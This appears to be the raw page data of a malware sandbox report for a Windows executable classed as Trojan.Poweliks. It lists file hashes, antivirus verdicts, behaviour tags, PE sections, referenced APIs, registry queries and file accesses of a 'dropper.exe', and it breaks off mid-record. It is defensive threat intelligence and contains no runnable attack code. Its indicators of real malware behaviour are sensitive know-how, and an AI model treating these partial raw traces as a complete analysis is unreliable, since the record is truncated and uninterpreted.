21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 2c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T494,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Poweliks Sample 4727b7ea70d0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4727b7ea70d0…. Malware family: Trojan.Poweliks. Threat score 100/100. 22/28 AV engines flagged this file. 17 malicious and 30 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","keywords":["Malicious","Trojan.Poweliks","malware analysis","sandbox report","threat intelligence","4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb"],"about":{"@type":"SoftwareApplication","name":"4727b7ea70d0fc0.exe","applicationCategory":["peexe","executable"],"identifier":"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Poweliks","antivirusDetections":{"malicious":22,"total":28},"behavioralIndicators":{"malicious":17,"suspicious":30},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T100a,Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "ReadConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "UnregisterClassW"; Source: "sample.bin"), Found reference to API (Indicator: "UnmapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "ExitThread"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "FlushConsoleInputBuffer"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteVolumeMountPointW"; Source: "sample.bin"), Found reference to API (Indicator: "CloseWindowStation"; Source: "sample.bin"), Found reference to API (Indicator: "wvsprintfA"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeThread"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileSectionW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "GetClassInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileA"; Source: "sample.bin"), Found reference to API (Indicator: "IsCharAlphaW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetThreadPriority"; Source: "sample.bin"), Found reference to API (Indicator: "GetClipboardData"; Source: "sample.bin"), Found reference to API (Indicator: "WindowFromPoint"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpiW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "AppendMenuW"; Source: "sample.bin"), Found reference to API (Indicator: "AppendMenuA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFontIndirectA"; Source: "sample.bin"), Found reference to API (Indicator: "GetTextColor"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVolumeInformationW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "IsCharLowerA"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAddAtomW"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetTextExtentPoint32A"; Source: "sample.bin"), Found reference to API (Indicator: "LoadBitmapA"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperA"; Source: "sample.bin"), Found reference to API (Indicator: "ClipCursor"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadDesktop"; Source: "sample.bin"), Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "GetThreadContext"; Source: "sample.bin")23:T8a9,"" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "" (Access type: "QUERYVAL", Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "DISABLECACHINGOFSSLPAGES", Value: "00000000040000000400000000000000") "" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "" (Access type: "QUERYVAL", Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK") "" (Access type: "QUERYVAL", Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK") "0" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "0" (Access type: "QUERYVAL", Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "0" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "DISABLECACHINGOFSSLPAGES", Value: "00000000040000000400000000000000") "0" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "0" (Access type: "QUERYVAL", Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "0" (Access type: "QUERYVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK") "0" (Access type: "QUERYVAL", Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK")24:T598,Found XOR loop in file "sample.bin" at offset 57686; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2085; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2180; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2527; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3296; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5548; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8190; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 11247; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 12377; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 14475; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 15088; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 15665; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 15738; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 15879; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 16481; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 17127; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 17466; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 17607; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 17697; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 18194; code bytes = 33c125:T560,"dropper.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "dropper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")26:T9e6,"dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "DROPPER.EXE"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "dropper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "")27:T50a,"dropper.exe" trying to touch file "%WINDIR%\System32\WOW64LOG.DLL" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\apphelp.dll" "dropper.exe" trying to touch file "C:\dropper.exe" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\ntdll.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\kernel32.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\KernelBase.dll" "dropper.exe" trying to touch file "%WINDIR%\apppatch\sysmain.sdb" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\msvcrt.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\ucrtbase.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\bcryptprimitives.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\cryptbase.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\sechost.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\sspicli.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\rpcrt4.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\combase.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\msvcp_win.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\win32u.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\user32.dll" "dropper.exe" trying to touch file "%WINDIR%\SysWOW64\gdi32full.dll"28:Ta34,Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "dropper.exe") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005948.00000000.120684.00406000.00000040.mdmp, 00000000-00005948.00000000.120684.04D90000.00000040.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005948.00000000.120684.03070000.00000004.mdmp, 00000000-00005948.00000001.122606.03070000.00000004.mdmp, 00000000-00005948.00000002.124526.03070000.00000004.mdmp")29:T4ae,"dropper.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter IsCharAlphaNumericW (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter IsCharAlphaNumericA (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter IsCharLowerA (UID: 00000000-00006836) "dropper.exe" called "GetProcAddress" with a parameter lstrcmpiA (UID: 00000000-00006836)2a:T77c,"" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "" (Access type: "QUERYVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "DISABLECACHINGOFSSLPAGES") "" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "" (Access type: "QUERYVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSHTTPNOCACHECHECK") "" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK") "" (Access type: "QUERYVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "BYPASSSSLNOCACHECHECK") "rundll32.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "DISABLECACHINGOFSSLPAGES") "dllhost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\USER\S-1-5-21-4162757579-3804539371-4239455898-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT") "dllhost.exe" (Access type: "QUERYVAL", Path: "\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE", Key: "SCAVENGECACHEFILELIMIT")2b:T608,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQaSURBVFhH7VdLV1NXGPV/OadWWxV5KPiMaItdC5eCCBR0QULegRgDWCQYwiMEQkBqayu1U1uIHTjSkc7oBEhyc1954O537s3jAjdN0C6YNGvtdZJzc8+3v/09zjlHjvz/OWwFrE43+vptB4p+iwPktwqLzYF379fx5u0Hwvv/FN92epT1do/M4QIBq30Qf6xGPwura6+xFv0La69VrNL3P2mOQW/tHQRMZgeSgoR0SkZKlj4B6nuyDnavx2yIqYwS7oICJrNdmTxI7CGQyWYVAisrr/Dy9zcVYeW3V8hm0gqi0agu8gocvTEBBvZbV4FsjgAzXtOzgNp7YdT1zqPeOIez5hDOWUNodAbRODCDC54pXPROKiT/Xl9HShLKhm1fBK7YlmFwPIXBuYSmwUVc80Rw3buAb0bm0Tw6hxu+EL7zz2oI8J+nAIvHtkaBFu/PaBn+CTcfPcOtxwTfMlr9T9EWWMKd6UW0ByPomAsXCKQlPpeEojpK6qgFU6DKNKwfAkaAF9XYMFk7xl+gy/8rugK/oHv6OW6T8Zv+MJrHg7g65ofBN46mCV+RgCiUVYAZP/3IWZoAx4sFAsbgS9yfeYGmoRBO2sbwhWUIXzoe4sSAB189cOOkdwCnR5waAjkFyHOlFNm4SwVmvHGmtzICrU9+xAnzKKr6h3HM5sVxJxkffICvHw7i1LBL8eTMY7uGQLKsAsx48/OW0gSSGgWqjCOq13YyXvCajI+4UP2DA2fGbKh9YtmRA7IsQ6JQlGpkzPi/ExCKIThmzUnOvPaQ5EMkOXldPWpHjc+KOr8ZZwOmYhWI5augAgLFJDzuoli7NZIzr0ny2nEr6if6cW7SiAaStNAHBH5fbXxPI2JVwPaCfBVoE6161IEakryOJK8PkPGpPkqm+7gQ6tlXH9CGpiwBbaLV5iWfNKFhuhfng/dwca4bl8OdOwikchVQyWZWloA20RTJp4yq17M9uDT/PS4vdMKw2F4gIFEOsATUa0BsTqRnHMchHo8jEY/t3Qt2h0CbaA3TfeQ1k7wbl8JduBLpwNWldjQttxUIyGLpMpQlCi0RTCTiiMViiMe2ShDQdEJtop2fZZKT1yS5IXKXjN/BteVWXH92S0OA0/U+35YFSlLm+ebmJra2NvUJCKJ6UJicWqxoK2YVMBGIKLuhRAZKbccCzyPJJcjwlkqAoJsDiaRaBWxvZ4vuB0KyqACLOcsHnk+Co3kWd+b1xsaGgpIEYpwEdibAdgppmQeQBrI0lxKQIWBbprmPhG0C/Y89RwofM2qS5fu/JIrgSZEkGefI8zjFnsU/D6aGrgKMwKEdydgZvafP/Mn3AhO9b7G7YHe5YXW4YbY6YSxzz7jddrd4KC2cTvMXhYMfczeUgzecV+GwL4eHbP8fuv0VoZ+XlYMAAAAASUVORK5CYII=18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790300078959,"unified_at":"2026-09-25T01:34:38.959Z","metadata":{"hashes":{"sha256":"4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb","sha1":"bfa2dc3b9956a88a2e56bd6ab68d1f4f675a425a","md5":"0181850239cd26b8fb8b72afb0e95eac","sha512":"9f0fa6b835863f40ec3dd9219151acc086e36d2f44b881671a73d67b283a2baa3527ddb03915df245faa48c95610edd94bc4c300fbd8410be3078bd776646acf","ssdeep":"1536:AG3yReFNwXoGygLYU9v+PJ8KiHTc8ciCGmKH3Lijk:LwM4v+x8U8ciCKH3Wk","ssdeep_chunks":["1536:AG3yReF","1536:G3yReFN","1536:3yReFNw","1536:yReFNwX","1536:ReFNwXo","1536:eFNwXoG","1536:FNwXoGy","1536:NwXoGyg","1536:wXoGygL","1536:XoGygLY","1536:oGygLYU","1536:GygLYU9","1536:ygLYU9v","1536:gLYU9v+","1536:LYU9v+P","1536:YU9v+PJ","1536:U9v+PJ8","1536:9v+PJ8K","1536:v+PJ8Ki","1536:+PJ8KiH","1536:PJ8KiHT","1536:J8KiHTc","1536:8KiHTc8","1536:KiHTc8c","1536:iHTc8ci","1536:HTc8ciC","1536:Tc8ciCG","1536:c8ciCGm","1536:8ciCGmK","1536:ciCGmKH","1536:iCGmKH3","1536:CGmKH3L","1536:GmKH3Li","1536:mKH3Lij","1536:KH3Lijk","3072:AG3yReF","3072:G3yReFN","3072:3yReFNw","3072:yReFNwX","3072:ReFNwXo","3072:eFNwXoG","3072:FNwXoGy","3072:NwXoGyg","3072:wXoGygL","3072:XoGygLY","3072:oGygLYU","3072:GygLYU9","3072:ygLYU9v","3072:gLYU9v+","3072:LYU9v+P","3072:YU9v+PJ","3072:U9v+PJ8","3072:9v+PJ8K","3072:v+PJ8Ki","3072:+PJ8KiH","3072:PJ8KiHT","3072:J8KiHTc","3072:8KiHTc8","3072:KiHTc8c","3072:iHTc8ci","3072:HTc8ciC","3072:Tc8ciCG","3072:c8ciCGm","3072:8ciCGmK","3072:ciCGmKH","3072:iCGmKH3","3072:CGmKH3L","3072:GmKH3Li","3072:mKH3Lij","3072:KH3Lijk","1536:LwM4v+x","1536:wM4v+x8","1536:M4v+x8U","1536:4v+x8U8","1536:v+x8U8c","1536:+x8U8ci","1536:x8U8ciC","1536:8U8ciCK","1536:U8ciCKH","1536:8ciCKH3","1536:ciCKH3W","1536:iCKH3Wk"],"imphash":"5cafa89cc24cd000febd858ff526290b","pehash":"1f5d8580752c2581c2a17bd9ef932d0d4dd9a465"},"file_info":{"file_name":"4727b7ea70d0fc0.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":71680,"entropy":6.56,"compile_timestamp":"1979-01-28T00:25:53","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499291271000,"last_seen":1789760457000,"last_multi_scan":1789760457000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":6,"import_count":0,"export_count":0,"embedded_file_count":1,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":18743,"raw_size":18944},{"name":".itext","virtual_address":"0x6000","virtual_size":316,"raw_size":512},{"name":".crt","virtual_address":"0x7000","virtual_size":20441,"raw_size":20480},{"name":".data","virtual_address":"0xc000","virtual_size":26699,"raw_size":27136},{"name":".rsrc","virtual_address":"0x13000","virtual_size":788,"raw_size":1024},{"name":".reloc","virtual_address":"0x14000","virtual_size":2170,"raw_size":2560}],"section_names":[".text",".itext",".crt",".data",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["criminal","poweliks","fileless","downloader","wowlik","botnet","expiro","lockscreen","neshta","powessere","tiggre","viking","virut","evasive"]},"stats":{"av":{"malicious_count":22,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":42},"sandbox_signatures":{"informative_count":75,"suspicious_count":30,"malicious_count":17,"total":122},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Caphaw","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_